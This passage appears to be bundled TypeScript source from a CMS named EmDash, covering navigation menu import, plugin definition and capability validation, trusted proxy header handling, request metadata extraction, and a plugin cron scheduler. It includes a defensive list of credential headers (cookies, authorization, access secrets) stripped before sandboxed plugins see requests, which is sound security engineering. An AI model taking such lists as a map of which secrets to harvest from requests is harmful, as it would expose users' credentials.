navigation menus from nav_menu_item posts\n */\nfunction buildNavMenus(\n\tnavMenuItemPosts: WxrPost[],\n\tmenuTermsBySlug: Map<string, number>,\n): WxrNavMenu[] {\n\t// Group menu items by menu slug\n\tconst menuItemsByMenu = new Map<string, WxrPost[]>();\n\n\tfor (const post of navMenuItemPosts) {\n\t\t// Get the nav_menu taxonomy assignment to find which menu this item belongs to\n\t\tconst navMenuSlugs = post.customTaxonomies?.get(\"nav_menu\");\n\t\tif (!navMenuSlugs || navMenuSlugs.length === 0) continue;\n\n\t\tconst menuSlug = navMenuSlugs[0];\n\t\tif (!menuSlug) continue;\n\n\t\tconst items = menuItemsByMenu.get(menuSlug) || [];\n\t\titems.push(post);\n\t\tmenuItemsByMenu.set(menuSlug, items);\n\t}\n\n\t// Build structured menus\n\tconst menus: WxrNavMenu[] = [];\n\n\tfor (const [menuSlug, posts] of menuItemsByMenu) {\n\t\tconst menuId = menuTermsBySlug.get(menuSlug) || 0;\n\n\t\t// Convert posts to menu items\n\t\tconst items: WxrNavMenuItem[] = posts.map((post) => {\n\t\t\tconst meta = post.meta;\n\t\t\tconst menuItemTypeRaw = meta.get(\"_menu_item_type\") || \"custom\";\n\t\t\tconst menuItemType: WxrNavMenuItem[\"type\"] =\n\t\t\t\tmenuItemTypeRaw === \"post_type\" || menuItemTypeRaw === \"taxonomy\"\n\t\t\t\t\t? menuItemTypeRaw\n\t\t\t\t\t: \"custom\";\n\t\t\tconst objectType = meta.get(\"_menu_item_object\");\n\t\t\tconst objectIdStr = meta.get(\"_menu_item_object_id\");\n\t\t\tconst url = meta.get(\"_menu_item_url\");\n\t\t\tconst parentIdStr = meta.get(\"_menu_item_menu_item_parent\");\n\t\t\tconst target = meta.get(\"_menu_item_target\");\n\t\t\tconst classesStr = meta.get(\"_menu_item_classes\");\n\n\t\t\t// Parse classes (stored as serialized PHP array)\n\t\t\tlet classes: string | undefined;\n\t\t\tif (classesStr) {\n\t\t\t\t// Simple extraction of class names from serialized PHP\n\t\t\t\tconst matches = classesStr.match(PHP_SERIALIZED_STRING_PATTERN);\n\t\t\t\tif (matches) {\n\t\t\t\t\tclasses = matches\n\t\t\t\t\t\t.map((m) => m.match(PHP_SERIALIZED_STRING_MATCH_PATTERN)?.[1])\n\t\t\t\t\t\t.filter(Boolean)\n\t\t\t\t\t\t.join(\" \");\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn {\n\t\t\t\tid: post.id || 0,\n\t\t\t\tmenuId,\n\t\t\t\tparentId: parentIdStr ? parseInt(parentIdStr, 10) || undefined : undefined,\n\t\t\t\tsortOrder: post.menuOrder || 0,\n\t\t\t\ttype: menuItemType,\n\t\t\t\tobjectType: objectType || undefined,\n\t\t\t\tobjectId: objectIdStr ? parseInt(objectIdStr, 10) : undefined,\n\t\t\t\turl: url || undefined,\n\t\t\t\ttitle: post.title || \"\",\n\t\t\t\ttarget: target || undefined,\n\t\t\t\tclasses: classes || undefined,\n\t\t\t};\n\t\t});\n\n\t\t// Sort items by menu_order\n\t\titems.sort((a, b) => a.sortOrder - b.sortOrder);\n\n\t\t// Find the menu name from the terms\n\t\t// For now, use the slug as both name and label; we could enhance this\n\t\t// by looking up the actual term name from data.terms\n\t\tmenus.push({\n\t\t\tid: menuId,\n\t\t\tname: menuSlug,\n\t\t\tlabel: menuSlug, // Will be enhanced when we have term data\n\t\t\titems,\n\t\t});\n\t}\n\n\treturn menus;\n}\n","/**\n * definePlugin() Helper\n *\n * Creates a properly typed and normalized plugin definition.\n * Supports two formats:\n *\n * 1. **Native format** -- full PluginDefinition with id, version, capabilities, etc.\n * Returns a ResolvedPlugin.\n *\n * 2. **Standard format** -- just { hooks, routes }. No id/version/capabilities.\n * Returns the same object (identity function for type inference).\n * Metadata comes from the descriptor at config time.\n *\n */\n\nimport { normalizeCapabilities } from \"./types.js\";\nimport type {\n\tPluginDefinition,\n\tResolvedPlugin,\n\tPluginHooks,\n\tResolvedPluginHooks,\n\tResolvedHook,\n\tHookConfig,\n\tPluginCapability,\n\tPluginStorageConfig,\n\tStandardPluginDefinition,\n} from \"./types.js\";\n\n// Plugin ID validation patterns\nconst SIMPLE_ID = /^[a-z0-9-]+$/;\nconst SCOPED_ID = /^@[a-z0-9-]+\\/[a-z0-9-]+$/;\nconst SEMVER_PATTERN = /^\\d+\\.\\d+\\.\\d+/;\n\n/**\n * Define an EmDash plugin.\n *\n * **Standard format** -- the canonical format for plugins that work in both\n * trusted and sandboxed modes. No id/version -- those come from the descriptor.\n *\n * @example\n * ```typescript\n * import { definePlugin } from \"emdash\";\n *\n * export default definePlugin({\n * hooks: {\n * \"content:afterSave\": {\n * handler: async (event, ctx) => {\n * await ctx.kv.set(\"lastSave\", Date.now());\n * },\n * },\n * },\n * routes: {\n * status: {\n * handler: async (routeCtx, ctx) => ({ ok: true }),\n * },\n * },\n * });\n * ```\n *\n * **Native format** -- for plugins that need React admin, direct DB access,\n * or other capabilities not available in the sandbox.\n *\n * @example\n * ```typescript\n * import { definePlugin } from \"emdash\";\n *\n * export default definePlugin({\n * id: \"my-plugin\",\n * version: \"1.0.0\",\n * capabilities: [\"content:read\"],\n * hooks: {\n * \"content:beforeSave\": async (event, ctx) => {\n * ctx.log.info(\"Saving content\", { collection: event.collection });\n * return event.content;\n * }\n * },\n * routes: {\n * \"sync\": {\n * handler: async (ctx) => {\n * return { status: \"ok\" };\n * }\n * }\n * }\n * });\n * ```\n */\n// Native overload first -- PluginDefinition (with id+version) is more specific\nexport function definePlugin<TStorage extends PluginStorageConfig>(\n\tdefinition: PluginDefinition<TStorage>,\n): ResolvedPlugin<TStorage>;\n// Standard overload second -- catches { hooks, routes } without id/version\nexport function definePlugin(definition: StandardPluginDefinition): StandardPluginDefinition;\nexport function definePlugin<TStorage extends PluginStorageConfig>(\n\tdefinition: PluginDefinition<TStorage> | StandardPluginDefinition,\n): ResolvedPlugin<TStorage> | StandardPluginDefinition {\n\t// Standard format: has hooks/routes but no id/version\n\tif (!(\"id\" in definition) || !(\"version\" in definition)) {\n\t\t// Validate that the standard format has at least hooks or routes\n\t\tif (!(\"hooks\" in definition) && !(\"routes\" in definition)) {\n\t\t\tthrow new Error(\n\t\t\t\t\"Standard plugin format requires at least `hooks` or `routes`. \" +\n\t\t\t\t\t\"For native format, provide `id` and `version`.\",\n\t\t\t);\n\t\t}\n\t\t// Identity function -- return as-is for type inference.\n\t\t// The adapter (adaptSandboxEntry) will convert this to a ResolvedPlugin at build time.\n\t\treturn definition;\n\t}\n\n\treturn defineNativePlugin(definition);\n}\n\n/**\n * Internal: define a native-format plugin with full validation and normalization.\n */\nfunction defineNativePlugin<TStorage extends PluginStorageConfig>(\n\tdefinition: PluginDefinition<TStorage>,\n): ResolvedPlugin<TStorage> {\n\tconst {\n\t\tid,\n\t\tversion,\n\t\tcapabilities = [],\n\t\tallowedHosts = [],\n\t\thooks = {},\n\t\troutes = {},\n\t\tadmin = {},\n\t} = definition;\n\n\t// Default to empty object if no storage declared.\n\t// The empty object satisfies PluginStorageConfig (Record<string, ...>).\n\t// The cast is structurally safe because an empty record has no keys to conflict.\n\tconst storage = (definition.storage ?? {}) as TStorage;\n\n\t// Validate id format: either simple (my-plugin) or scoped (@scope/my-plugin)\n\t// Simple: lowercase alphanumeric with dashes\n\t// Scoped: @scope/name where both parts are lowercase alphanumeric with dashes\n\tif (!SIMPLE_ID.test(id) && !SCOPED_ID.test(id)) {\n\t\tthrow new Error(\n\t\t\t`Invalid plugin id \"${id}\". Must be lowercase alphanumeric with dashes (e.g., \"my-plugin\" or \"@scope/my-plugin\").`,\n\t\t);\n\t}\n\n\t// Validate version format (basic semver)\n\tif (!SEMVER_PATTERN.test(version)) {\n\t\tthrow new Error(`Invalid plugin version \"${version}\". Must be semver format (e.g., \"1.0.0\").`);\n\t}\n\n\t// Validate capabilities. Both current names and deprecated aliases are\n\t// accepted; aliases are silently rewritten to current names below so the\n\t// runtime only ever sees the canonical form. Authors are warned at\n\t// bundle/validate and hard-failed at publish.\n\tconst validCapabilities = new Set<string>([\n\t\t// Current names\n\t\t\"network:request\",\n\t\t\"network:request:unrestricted\",\n\t\t\"content:read\",\n\t\t\"content:write\",\n\t\t\"media:read\",\n\t\t\"media:write\",\n\t\t\"users:read\",\n\t\t\"email:send\",\n\t\t\"hooks.email-transport:register\",\n\t\t\"hooks.email-events:register\",\n\t\t\"hooks.page-fragments:register\",\n\t\t// Deprecated aliases\n\t\t\"network:fetch\",\n\t\t\"network:fetch:any\",\n\t\t\"read:content\",\n\t\t\"write:content\",\n\t\t\"read:media\",\n\t\t\"write:media\",\n\t\t\"read:users\",\n\t\t\"email:provide\",\n\t\t\"email:intercept\",\n\t\t\"page:inject\",\n\t]);\n\tfor (const cap of capabilities) {\n\t\tif (!validCapabilities.has(cap)) {\n\t\t\tthrow new Error(`Invalid capability \"${cap}\" in plugin \"${id}\".`);\n\t\t}\n\t}\n\n\t// Silent normalization: rewrite deprecated names to current names. Done\n\t// before the implication pass so implications work on canonical names.\n\t// `as PluginCapability[]` is safe because `normalizeCapabilities` only\n\t// returns strings from the validated input plus current names from the\n\t// rename map, all of which are in the union.\n\tconst canonical = normalizeCapabilities(capabilities) as PluginCapability[];\n\n\t// Capability implications: broader capabilities imply narrower ones.\n\t// Operates on canonical names only.\n\tconst normalizedCapabilities: PluginCapability[] = [...canonical];\n\tif (canonical.includes(\"content:write\") && !canonical.includes(\"content:read\")) {\n\t\tnormalizedCapabilities.push(\"content:read\");\n\t}\n\tif (canonical.includes(\"media:write\") && !canonical.includes(\"media:read\")) {\n\t\tnormalizedCapabilities.push(\"media:read\");\n\t}\n\tif (\n\t\tcanonical.includes(\"network:request:unrestricted\") &&\n\t\t!canonical.includes(\"network:request\")\n\t) {\n\t\tnormalizedCapabilities.push(\"network:request\");\n\t}\n\n\t// Normalize hooks\n\tconst resolvedHooks = resolveHooks(hooks, id);\n\n\treturn {\n\t\tid,\n\t\tversion,\n\t\tcapabilities: normalizedCapabilities,\n\t\tallowedHosts,\n\t\tstorage,\n\t\thooks: resolvedHooks,\n\t\troutes,\n\t\tadmin,\n\t};\n}\n\n/**\n * Resolve hooks to normalized format with defaults.\n *\n * PluginHooks and ResolvedPluginHooks share the same keys — each input value is\n * `HookConfig<H> | H` and the output is `ResolvedHook<H>`. TS can't narrow\n * the handler type through a dynamic key, so we assert at the loop boundary.\n */\nfunction resolveHooks(hooks: PluginHooks, pluginId: string): ResolvedPluginHooks {\n\tconst resolved: ResolvedPluginHooks = {};\n\n\tfor (const key of Object.keys(hooks) as Array<keyof PluginHooks>) {\n\t\tconst hook = hooks[key];\n\t\tif (hook) {\n\t\t\t(resolved as Record<string, unknown>)[key] = resolveHook(hook, pluginId);\n\t\t}\n\t}\n\n\treturn resolved;\n}\n\n/**\n * Check if a hook value is a config object (has a `handler` property)\n */\nfunction isHookConfig<THandler>(\n\thook: HookConfig<THandler> | THandler,\n): hook is HookConfig<THandler> {\n\treturn typeof hook === \"object\" && hook !== null && \"handler\" in hook;\n}\n\n/**\n * Resolve a single hook to normalized format\n */\nfunction resolveHook<THandler>(\n\thook: HookConfig<THandler> | THandler,\n\tpluginId: string,\n): ResolvedHook<THandler> {\n\t// If it's a config object with handler property\n\tif (isHookConfig(hook)) {\n\t\tif (hook.exclusive !== undefined && typeof hook.exclusive !== \"boolean\") {\n\t\t\tthrow new Error(\n\t\t\t\t`Invalid \"exclusive\" value in hook config for plugin \"${pluginId}\". Must be boolean.`,\n\t\t\t);\n\t\t}\n\t\treturn {\n\t\t\tpriority: hook.priority ?? 100,\n\t\t\ttimeout: hook.timeout ?? 5000,\n\t\t\tdependencies: hook.dependencies ?? [],\n\t\t\terrorPolicy: hook.errorPolicy ?? \"abort\",\n\t\t\texclusive: hook.exclusive ?? false,\n\t\t\thandler: hook.handler,\n\t\t\tpluginId,\n\t\t};\n\t}\n\n\t// It's just a handler function\n\treturn {\n\t\tpriority: 100,\n\t\ttimeout: 5000,\n\t\tdependencies: [],\n\t\terrorPolicy: \"abort\",\n\t\texclusive: false,\n\t\thandler: hook,\n\t\tpluginId,\n\t};\n}\n\nexport default definePlugin;\n","/**\n * Resolve the list of client-IP headers the operator trusts.\n *\n * Resolution order:\n * 1. `config.trustedProxyHeaders` — explicit opt-in via astro.config.mjs.\n * An empty array is respected (means \"trust nothing, ignore env\").\n * 2. `EMDASH_TRUSTED_PROXY_HEADERS` env var — comma-separated header names.\n * 3. `[]` — default, no trusted headers.\n *\n * Operators must only set this when they control the reverse proxy.\n * Untrusted clients can set any header they like; trusting headers from\n * an open network defeats rate limiting.\n *\n * Header names are returned lowercased because HTTP header lookups are\n * case-insensitive.\n */\n\nimport type { EmDashConfig } from \"../astro/integration/runtime.js\";\n\n/**\n * RFC 7230 token — valid characters for an HTTP header name. Invalid names\n * passed to `Headers.get()` throw a TypeError at runtime, which would\n * otherwise surface as a 500 from every auth route.\n */\nconst HEADER_NAME_PATTERN = /^[!#$%&'*+\\-.^_`|~0-9a-z]+$/;\n\n/**\n * Normalise a list of header names the way both the config path and any\n * caller passing a pre-resolved list should do: trim, lowercase, drop\n * empty, drop anything that isn't a valid RFC 7230 token. Invalid names\n * would crash `Headers.get()` at runtime.\n */\nexport function normalizeTrustedHeaders(names: readonly string[]): string[] {\n\treturn names\n\t\t.map((h) => h.trim().toLowerCase())\n\t\t.filter((h) => h.length > 0 && HEADER_NAME_PATTERN.test(h));\n}\n\nfunction isValidHeaderName(name: string): boolean {\n\treturn HEADER_NAME_PATTERN.test(name);\n}\n\n/** Cache for the env-derived value. `null` means \"not yet parsed\". */\nlet _envCache: string[] | null = null;\n\n/** Test-only: clear the env cache so a fresh value is read on next call. */\nexport function _resetTrustedProxyHeadersCache(): void {\n\t_envCache = null;\n}\n\nfunction getEnvTrustedHeaders(): string[] {\n\tif (_envCache !== null) return _envCache;\n\tlet raw: string | undefined;\n\ttry {\n\t\t// Prefer process.env so SSR/container deployments can override this\n\t\t// value at runtime (Vite/Astro inline import.meta.env at build time,\n\t\t// which locks the value into the bundle). Fall back to import.meta.env\n\t\t// for bundler-managed environments where process.env isn't populated.\n\t\t// eslint-disable-next-line typescript-eslint(no-unsafe-type-assertion) -- import.meta.env shape varies by bundler\n\t\tconst importMetaEnv = (import.meta as unknown as { env?: Record<string, string | undefined> })\n\t\t\t.env;\n\t\traw =\n\t\t\t(typeof process !== \"undefined\" ? process.env?.EMDASH_TRUSTED_PROXY_HEADERS : undefined) ||\n\t\t\timportMetaEnv?.EMDASH_TRUSTED_PROXY_HEADERS;\n\t} catch {\n\t\traw = undefined;\n\t}\n\tif (!raw) {\n\t\t_envCache = [];\n\t\treturn _envCache;\n\t}\n\t_envCache = raw\n\t\t.split(\",\")\n\t\t.map((s) => s.trim().toLowerCase())\n\t\t.filter((s) => s.length > 0 && isValidHeaderName(s));\n\treturn _envCache;\n}\n\n/**\n * Return the lowercased list of headers to trust for client-IP resolution.\n *\n * When `config?.trustedProxyHeaders` is explicitly set (even to `[]`), it\n * wins. Otherwise fall through to the env var, then to `[]`.\n */\nexport function getTrustedProxyHeaders(config: EmDashConfig | null | undefined): string[] {\n\tif (config && config.trustedProxyHeaders !== undefined) {\n\t\treturn config.trustedProxyHeaders\n\t\t\t.map((h) => h.trim().toLowerCase())\n\t\t\t.filter((h) => h.length > 0 && isValidHeaderName(h));\n\t}\n\treturn getEnvTrustedHeaders();\n}\n","/**\n * Request Metadata Extraction\n *\n * Extracts normalized metadata (IP, user agent, referer, geo) from\n * incoming requests. Used by plugin route handlers to access request\n * context without touching raw headers.\n *\n */\n\nimport type { EmDashConfig } from \"../astro/integration/runtime.js\";\nimport { getTrustedProxyHeaders, normalizeTrustedHeaders } from \"../auth/trusted-proxy.js\";\nimport type { GeoInfo, RequestMeta } from \"./types.js\";\n\n/**\n * Cloudflare Workers `cf` object shape (subset we use).\n * Present on requests when running on Cloudflare Workers.\n */\ninterface CfProperties {\n\tcountry?: string;\n\tregion?: string;\n\tcity?: string;\n}\n\n/**\n * Loose validation for IPv4 and IPv6 addresses.\n * Accepts digits, hex chars, dots, and colons — rejects anything else\n * (e.g. HTML tags, scripts, or other non-IP garbage in spoofed headers).\n */\nconst IP_PATTERN = /^[\\da-fA-F.:]+$/;\n\n/**\n * Extract the first IP from an X-Forwarded-For header value.\n * The header may contain a comma-separated list of IPs; the first\n * entry is the original client IP.\n *\n * Returns null if the extracted value doesn't look like an IP address.\n */\nfunction parseFirstForwardedIp(header: string): string | null {\n\tconst first = header.split(\",\")[0];\n\tconst trimmed = first?.trim();\n\tif (!trimmed) return null;\n\treturn IP_PATTERN.test(trimmed) ? trimmed : null;\n}\n\n/**\n * Read an IP from an operator-declared trusted header. XFF-style headers\n * (any name ending in `forwarded-for`) are parsed as comma-separated lists\n * and the first entry is used; everything else is treated as a single\n * trimmed value.\n */\nfunction readIpFromHeader(headers: Headers, name: string): string | null {\n\tconst value = headers.get(name);\n\tif (!value) return null;\n\tif (name.endsWith(\"forwarded-for\")) {\n\t\treturn parseFirstForwardedIp(value);\n\t}\n\tconst trimmed = value.trim();\n\tif (!trimmed) return null;\n\treturn IP_PATTERN.test(trimmed) ? trimmed : null;\n}\n\n/**\n * Get the Cloudflare `cf` object from the request, if present.\n * Returns undefined when not running on Cloudflare Workers.\n */\nfunction getCfObject(request: Request): CfProperties | undefined {\n\treturn (request as unknown as { cf?: CfProperties }).cf;\n}\n\n/**\n * Extract geographic information from the Cloudflare `cf` object\n * attached to the request. Returns null when not running on CF Workers.\n */\nfunction extractGeo(cf: CfProperties | undefined): GeoInfo | null {\n\tif (!cf) return null;\n\n\tconst country = cf.country ?? null;\n\tconst region = cf.region ?? null;\n\tconst city = cf.city ?? null;\n\n\t// Only return geo if at least one field is populated\n\tif (country === null && region === null && city === null) return null;\n\n\treturn { country, region, city };\n}\n\n/**\n * Extract normalized request metadata from a Request object.\n *\n * IP resolution order:\n * 1. `CF-Connecting-IP` — trusted only when a `cf` object is present on the\n * request. CF edge overwrites any client-supplied value, so this is the\n * cryptographically trustworthy path on Workers. Operator-declared\n * trusted headers cannot override it.\n * 2. `X-Forwarded-For` first entry — trusted only with a `cf` object.\n * 3. Operator-declared trusted proxy headers (from `config.trustedProxyHeaders`\n * or the `EMDASH_TRUSTED_PROXY_HEADERS` env var), tried in order. Used as\n * the primary source off-CF and as a fill-in on CF.\n * 4. `null`\n *\n * The second argument accepts either the EmDash config or a pre-resolved\n * list of trusted headers, so callers that already have the list don't have\n * to round-trip through the config every request.\n */\nexport function extractRequestMeta(\n\trequest: Request,\n\tconfigOrTrustedHeaders?: EmDashConfig | null | { trustedProxyHeaders?: string[] } | string[],\n): RequestMeta {\n\tconst headers = request.headers;\n\tconst cf = getCfObject(request);\n\tconst trusted = resolveTrustedHeaders(configOrTrustedHeaders);\n\n\tlet ip: string | null = null;\n\n\t// On Cloudflare, prefer the cryptographically trustworthy headers first.\n\tif (cf) {\n\t\tconst cfIp = headers.get(\"cf-connecting-ip\")?.trim();\n\t\tif (cfIp && IP_PATTERN.test(cfIp)) {\n\t\t\tip = cfIp;\n\t\t}\n\t\tif (!ip) {\n\t\t\tconst xff = headers.get(\"x-forwarded-for\");\n\t\t\tip = xff ? parseFirstForwardedIp(xff) : null;\n\t\t}\n\t}\n\n\t// Fall through to operator-declared trusted headers. On CF this fills\n\t// in when the CF headers are absent; off-CF it's the primary source.\n\tif (!ip) {\n\t\tfor (const name of trusted) {\n\t\t\tconst value = readIpFromHeader(headers, name);\n\t\t\tif (value) {\n\t\t\t\tip = value;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tconst userAgent = headers.get(\"user-agent\")?.trim() || null;\n\tconst referer = headers.get(\"referer\")?.trim() || null;\n\tconst geo = extractGeo(cf);\n\n\treturn { ip, userAgent, referer, geo };\n}\n\nfunction resolveTrustedHeaders(\n\tvalue: EmDashConfig | null | { trustedProxyHeaders?: string[] } | string[] | undefined,\n): string[] {\n\tif (Array.isArray(value)) {\n\t\t// Apply the same RFC 7230 validation the config/env path does so a\n\t\t// caller passing a pre-resolved list with bad entries can't crash\n\t\t// `Headers.get()` downstream.\n\t\treturn normalizeTrustedHeaders(value);\n\t}\n\treturn getTrustedProxyHeaders(value);\n}\n\n// =============================================================================\n// Header Sanitization for Sandbox\n// =============================================================================\n\n/**\n * Headers that must never cross the RPC boundary to sandboxed plugins.\n * Session tokens, auth credentials, and infrastructure headers are stripped\n * to prevent malicious plugins from exfiltrating sensitive data.\n */\nconst SANDBOX_STRIPPED_HEADERS = new Set([\n\t\"cookie\",\n\t\"set-cookie\",\n\t\"authorization\",\n\t\"proxy-authorization\",\n\t\"cf-access-jwt-assertion\",\n\t\"cf-access-client-id\",\n\t\"cf-access-client-secret\",\n\t\"x-emdash-request\",\n]);\n\n/**\n * Copy request headers into a plain object, stripping sensitive headers\n * that must not be exposed to sandboxed plugin code.\n */\nexport function sanitizeHeadersForSandbox(headers: Headers): Record<string, string> {\n\tconst safe: Record<string, string> = {};\n\theaders.forEach((value, key) => {\n\t\tif (!SANDBOX_STRIPPED_HEADERS.has(key)) {\n\t\t\tsafe[key] = value;\n\t\t}\n\t});\n\treturn safe;\n}\n","/**\n * Plugin Cron System\n *\n * Provides scheduled task execution for plugins:\n * - CronExecutor: claims overdue tasks, invokes per-plugin cron hook, updates next run.\n * - CronAccessImpl: per-plugin API for schedule/cancel/list.\n *\n */\n\nimport { Cron } from \"croner\";\nimport type { Kysely } from \"kysely\";\nimport { sql } from \"kysely\";\nimport { ulid } from \"ulidx\";\n\nimport type { Database } from \"../database/types.js\";\nimport type { CronAccess, CronEvent, CronTaskInfo } from \"./types.js\";\n\n/** Stale lock threshold in minutes */\nconst STALE_LOCK_MINUTES = 10;\n\n/**\n * Callback to invoke a plugin's cron hook.\n * Provided by PluginManager so CronExecutor stays decoupled from the hook pipeline.\n */\nexport type InvokeCronHookFn = (pluginId: string, event: CronEvent) => Promise<void>;\n\n/**\n * Callback to notify the scheduler that the next due time may have changed.\n */\nexport type RescheduleFn = () => void;\n\n// ─── CronExecutor ──────────────────────────────────────────────────────────\n\n/**\n * Executes overdue cron tasks.\n *\n * Called by platform-specific schedulers (NodeCronScheduler, EmDashScheduler DO,\n * PiggybackScheduler). Stateless — all state lives in the database.\n */\nexport class CronExecutor {\n\tconstructor(\n\t\tprivate db: Kysely<Database>,\n\t\tprivate invokeCronHook: InvokeCronHookFn,\n\t) {}\n\n\t/**\n\t * Process all overdue tasks.\n\t *\n\t * 1. Atomically claim tasks whose next_run_at <= now, status = idle, enabled = 1.\n\t * 2. For each claimed task, invoke the plugin's cron hook.\n\t * 3. On success: compute next_run_at and reset to idle, or delete one-shots.\n\t * 4. On failure: reset to idle (retry on next tick).\n\t */\n\tasync tick(): Promise<number> {\n\t\tconst now = new Date().toISOString();\n\t\tlet processed = 0;\n\n\t\t// Claim overdue tasks atomically\n\t\tconst claimed = await sql<{\n\t\t\tid: string;\n\t\t\tplugin_id: string;\n\t\t\ttask_name: string;\n\t\t\tschedule: string;\n\t\t\tis_oneshot: number;\n\t\t\tdata: string | null;\n\t\t\tnext_run_at: string;\n\t\t}>`\n\t\t\tUPDATE _emdash_cron_tasks\n\t\t\tSET status = 'running', locked_at = ${now}\n\t\t\tWHERE id IN (\n\t\t\t\tSELECT id FROM _emdash_cron_tasks\n\t\t\t\tWHERE next_run_at <= ${now}\n\t\t\t\t AND status = 'idle'\n\t\t\t\t AND enabled = 1\n\t\t\t\tORDER BY next_run_at ASC\n\t\t\t\tLIMIT 10\n\t\t\t)\n\t\t\tRETURNING id, plugin_id, task_name, schedule, is_oneshot, data, next_run_at\n\t\t`.execute(this.db);\n\n\t\tfor (const task of claimed.rows) {\n\t\t\t// Parse task data safely ��� malformed JSON must not crash the entire batch\n\t\t\tlet parsedData: Record<string, unknown> | undefined;\n\t\t\tif (task.data) {\n\t\t\t\ttry {\n\t\t\t\t\tparsedData = JSON.parse(task.data) as Record<string, unknown>;\n\t\t\t\t} catch {\n\t\t\t\t\tconsole.error(\n\t\t\t\t\t\t`[cron] Invalid JSON data for ${task.plugin_id}:${task.task_name}, skipping`,\n\t\t\t\t\t);\n\t\t\t\t\tawait sql`\n\t\t\t\t\t\tUPDATE _emdash_cron_tasks\n\t\t\t\t\t\tSET status = 'idle', locked_at = NULL\n\t\t\t\t\t\tWHERE id = ${task.id}\n\t\t\t\t\t`.execute(this.db);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tconst event: CronEvent = {\n\t\t\t\tname: task.task_name,\n\t\t\t\tdata: parsedData,\n\t\t\t\tscheduledAt: task.next_run_at,\n\t\t\t};\n\n\t\t\tlet hookFailed = false;\n\t\t\ttry {\n\t\t\t\tawait this.invokeCronHook(task.plugin_id, event);\n\t\t\t} catch (error) {\n\t\t\t\thookFailed = true;\n\t\t\t\tconsole.error(`[cron] Hook failed for ${task.plugin_id}:${task.task_name}:`, error);\n\t\t\t}\n\n\t\t\tif (task.is_oneshot) {\n\t\t\t\tif (hookFailed) {\n\t\t\t\t\t// Retry metadata is namespaced under __emdash to avoid collisions\n\t\t\t\t\t// with plugin-controlled data fields.\n\t\t\t\t\tconst meta =\n\t\t\t\t\t\tparsedData?.__emdash != null && typeof parsedData.__emdash === \"object\"\n\t\t\t\t\t\t\t? (parsedData.__emdash as Record<string, unknown>)\n\t\t\t\t\t\t\t: undefined;\n\t\t\t\t\tconst raw = meta?.retryCount;\n\t\t\t\t\tconst retryCount =\n\t\t\t\t\t\ttypeof raw === \"number\" && Number.isFinite(raw) && raw > 0 ? Math.floor(raw) : 0;\n\t\t\t\t\tconst MAX_ONESHOT_RETRIES = 5;\n\n\t\t\t\t\tif (retryCount >= MAX_ONESHOT_RETRIES) {\n\t\t\t\t\t\tconsole.error(\n\t\t\t\t\t\t\t`[cron] One-shot task ${task.plugin_id}:${task.task_name} exceeded ${MAX_ONESHOT_RETRIES} retries, removing`,\n\t\t\t\t\t\t);\n\t\t\t\t\t\tawait sql`\n\t\t\t\t\t\tDELETE FROM _emdash_cron_tasks WHERE id = ${task.id}\n\t\t\t\t\t`.execute(this.db);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Retry with exponential backoff: 1m, 2m, 4m, 8m, 16m\n\t\t\t\t\t\tconst backoffMs = 60_000 * Math.pow(2, retryCount);\n\t\t\t\t\t\tconst retryAt = new Date(Date.now() + backoffMs).toISOString();\n\t\t\t\t\t\tconst updatedData = JSON.stringify({\n\t\t\t\t\t\t\t...parsedData,\n\t\t\t\t\t\t\t__emdash: { ...meta, retryCount: retryCount + 1 },\n\t\t\t\t\t\t});\n\t\t\t\t\t\tawait sql`\n\t\t\t\t\t\tUPDATE _emdash_cron_tasks\n\t\t\t\t\t\tSET status = 'idle', locked_at = NULL, next_run_at = ${retryAt}, data = ${updatedData}\n\t\t\t\t\t\tWHERE id = ${task.id}\n\t\t\t\t\t`.execute(this.db);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Success: delete the one-shot task\n\t\t\t\t\tawait sql`\n\t\t\t\t\t\tDELETE FROM _emdash_cron_tasks WHERE id = ${task.id}\n\t\t\t\t\t`.execute(this.db);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Recurring: compute next run and reset\n\t\t\t\tconst nextRun = nextCronTime(task.schedule);\n\t\t\t\tawait sql`\n\t\t\t\t\tUPDATE _emdash_cron_tasks\n\t\t\t\t\tSET status = 'idle',\n\t\t\t\t\t\tlocked_at = NULL,\n\t\t\t\t\t\tlast_run_at = ${now},\n\t\t\t\t\t\tnext_run_at = ${nextRun}\n\t\t\t\t\tWHERE id = ${task.id}\n\t\t\t\t`.execute(this.db);\n\t\t\t}\n\n\t\t\tprocessed++;\n\t\t}\n\n\t\treturn processed;\n\t}\n\n\t/**\n\t * Recover tasks stuck in 'running' for more than STALE_LOCK_MINUTES.\n\t * These likely crashed mid-execution.\n\t */\n\tasync recoverStaleLocks(): Promise<number> {\n\t\tconst cutoff = new Date(Date.now() - STALE_LOCK_MINUTES * 60 * 1000).toISOString();\n\n\t\tconst result = await sql`\n\t\t\tUPDATE _emdash_cron_tasks\n\t\t\tSET status = 'idle', locked_at = NULL\n\t\t\tWHERE status = 'running'\n\t\t\t AND locked_at < ${cutoff}\n\t\t`.execute(this.db);\n\n\t\treturn Number(result.numAffectedRows ?? 0);\n\t}\n\n\t/**\n\t * Get the next due time across all enabled tasks.\n\t * Returns null if no tasks are scheduled.\n\t */\n\tasync getNextDueTime(): Promise<string | null> {\n\t\tconst result = await sql<{ next: string | null }>`\n\t\t\tSELECT MIN(next_run_at) as next\n\t\t\tFROM _emdash_cron_tasks\n\t\t\tWHERE status = 'idle' AND enabled = 1\n\t\t`.execute(this.db);\n\n\t\treturn result.rows[0]?.next ?? null;\n\t}\n}\n\n// ─── CronAccessImpl ────────────────────────────────────────────────────────\n\n/**\n * Per-plugin cron API implementation.\n * Scoped to a single plugin ID — plugins cannot see or modify other plugins' tasks.\n */\nexport class CronAccessImpl implements CronAccess {\n\tconstructor(\n\t\tprivate db: Kysely<Database>,\n\t\tprivate pluginId: string,\n\t\tprivate reschedule: RescheduleFn,\n\t) {}\n\n\tasync schedule(\n\t\tname: string,\n\t\topts: { schedule: string; data?: Record<string, unknown> },\n\t): Promise<void> {\n\t\tvalidateTaskName(name);\n\t\tvalidateSchedule(opts.schedule);\n\n\t\tconst oneshot = isOneShot(opts.schedule);\n\t\tconst nextRun = oneshot ? opts.schedule : nextCronTime(opts.schedule);\n\t\tconst dataJson = opts.data ? JSON.stringify(opts.data) : null;\n\t\tconst id = ulid();\n\n\t\t// Upsert: if task already exists for this 